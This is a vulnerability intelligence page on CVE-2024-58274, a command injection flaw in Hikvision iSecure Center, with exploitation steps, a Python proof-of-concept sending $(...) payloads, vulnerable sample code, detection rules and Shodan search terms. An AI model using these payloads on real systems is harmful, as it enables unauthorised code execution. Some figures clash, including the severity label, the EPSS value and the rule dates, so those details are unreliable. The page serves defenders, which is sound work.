☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 8.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-58274

CVE-2024-58274 Remote Code Execution in Hikvision
📅 PUBLISHED: 2025-10-22 00:00 UTC 🔄 UPDATED: 2026-08-12 14:52 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.26%
👁️
0.26% probability
6.5× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1203
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 8.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
8.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-58274 is a critical command injection vulnerability in Hikvision's CSMP (Comprehensive Security Management Platform) iSecure Center, actively exploited in the wild since August 2024. The flaw resides in the /center/api/installation/detection endpoint, where unsanitized JSON input allows attackers to execute arbitrary OS commands using $(...) syntax. With a CVSS score of 8.3, this vulnerability enables unauthenticated remote code execution (RCE) with high confidentiality, integrity, and availability impact. No official patch has been released as of the latest intelligence, and the EPSS score of 0.0% suggests low exploitation probability in automated scans, but manual exploitation is confirmed.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects a proprietary Hikvision platform, and no open-source package dependencies are involved.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 8.3 (High)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: None (UI:N) – No user action required.
  • Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
  • Confidentiality Impact: High (C:H) – Full system compromise.
  • Integrity Impact: High (I:H) – Attacker can modify system files.
  • Availability Impact: High (A:H) – Potential denial of service.

Threat Level: Critical. The vulnerability allows unauthenticated RCE, and active exploitation in the wild has been reported.

Deep Dive & Mechanics

The vulnerability exists in the /center/api/installation/detection endpoint of Hikvision iSecure Center. The application processes JSON payloads without proper sanitization, allowing command injection via the $(...) shell syntax. When the JSON data is parsed, the $(...) construct is evaluated by the underlying shell, enabling arbitrary command execution.

Root Cause: The application fails to escape or validate user-supplied input before passing it to a shell command. The $(...) syntax is a standard shell feature for command substitution, and its presence in JSON fields indicates a lack of input validation.

Attack Vector: An attacker sends a crafted HTTP POST request to the vulnerable endpoint with a JSON payload containing $(command) in any field. The server then executes the command with the privileges of the web application (typically root or a high-privilege user).

Example Payload:

{
  "field": "$(id)"
}

This would execute the id command and return the output in the response or logs.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual): The vulnerable endpoint likely processes JSON input and passes it to a shell command without sanitization. For example:

import subprocess
import json

def handle_detection(request):
    data = json.loads(request.body)
    command = f"some_tool {data['field']}"
    result = subprocess.check_output(command, shell=True)
    return result

Patched Code (Conceptual): A patched version would sanitize input by escaping shell metacharacters or using parameterized commands:

import subprocess
import json
import shlex

def handle_detection(request):
    data = json.loads(request.body)
    safe_field = shlex.quote(data['field'])
    command = f"some_tool {safe_field}"
    result = subprocess.check_output(command, shell=True)
    return result

Note: No official patch has been released. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target running Hikvision iSecure Center (any version up to 2024-08-01).
  • Network access to the /center/api/installation/detection endpoint.

Exploitation Steps:

  1. Identify the target endpoint:

    POST /center/api/installation/detection HTTP/1.1
    Host: target-ip
    Content-Type: application/json
    
  2. Send a malicious JSON payload:

    {
      "detection": "$(id > /tmp/pwned)"
    }
    
  3. Verify execution by checking the file:

    GET /tmp/pwned
    

Proof-of-Concept (PoC) Script:

import requests
import json

target = "http://target-ip/center/api/installation/detection"
payload = {"detection": "$(id)"}
response = requests.post(target, json=payload)
print(response.text)

Note: No Exploit-DB code was provided. The above is a generic PoC.

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor HTTP POST requests to /center/api/installation/detection for suspicious JSON payloads containing $( or backticks.
  2. Check server logs for unusual command execution patterns.
  3. Use the detection rules below.

Response:

  • Isolate affected systems immediately.
  • Review logs for lateral movement.
  • Apply network segmentation to limit exposure.

Indicators of Compromise (IOCs)

Network IOCs:

  • HTTP POST requests to /center/api/installation/detection with JSON containing $( or backticks.
  • Outbound connections from the server to unknown IPs on common ports (e.g., 80, 443, 4444).

File IOCs:

  • Unexpected files in /tmp/ or /var/tmp/ created by the web application user.
  • Modified system binaries or configuration files.

Process IOCs:

  • Unusual child processes spawned by the web server (e.g., id, whoami, curl, wget).

Log IOCs:

  • Web server logs showing POST /center/api/installation/detection with non-standard payloads.
  • System logs showing command execution from the web server user.

Detection Engineering

YARA Rule

rule CVE_2024_58274_Command_Injection {
    meta:
        description = "Detects command injection attempts targeting Hikvision iSecure Center"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-58274"
    strings:
        $cmd_inject = /\$\([^)]+\)/
        $backtick_inject = /`[^`]+`/
    condition:
        any of them
}

Sigma Rule

title: CVE-2024-58274 Command Injection Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to /center/api/installation/detection with command injection patterns
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: POST
        cs-uri-stem: /center/api/installation/detection
        cs-uri-query|contains: 
            - "$("
            - "`"
    condition: selection
falsepositives:
    - Legitimate use of shell syntax in JSON (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-58274 Command Injection Attempt"; flow:to_server; content:"POST"; http_method; content:"/center/api/installation/detection"; http_uri; content:"$("; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate affected systems from the network.
  2. Disable the /center/api/installation/detection endpoint if not required.
  3. Apply network-level filtering to block requests containing $( or backticks in JSON payloads.

Long-term Fix:

  • Hikvision must release a patch that properly sanitizes input. Until then, consider migrating to an alternative platform.
  • Implement a Web Application Firewall (WAF) with rules to block command injection patterns.

Workaround:

  • Restrict access to the vulnerable endpoint via firewall rules or reverse proxy configuration.
  • Monitor logs for exploitation attempts.

Valters IT Signature: This report was generated by Valters IT Cyber Threat Intelligence Division. For inquiries, contact threatintel@valtersit.com.

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Hikvision iSecure Center
Hikvision CSMP

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-58274/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.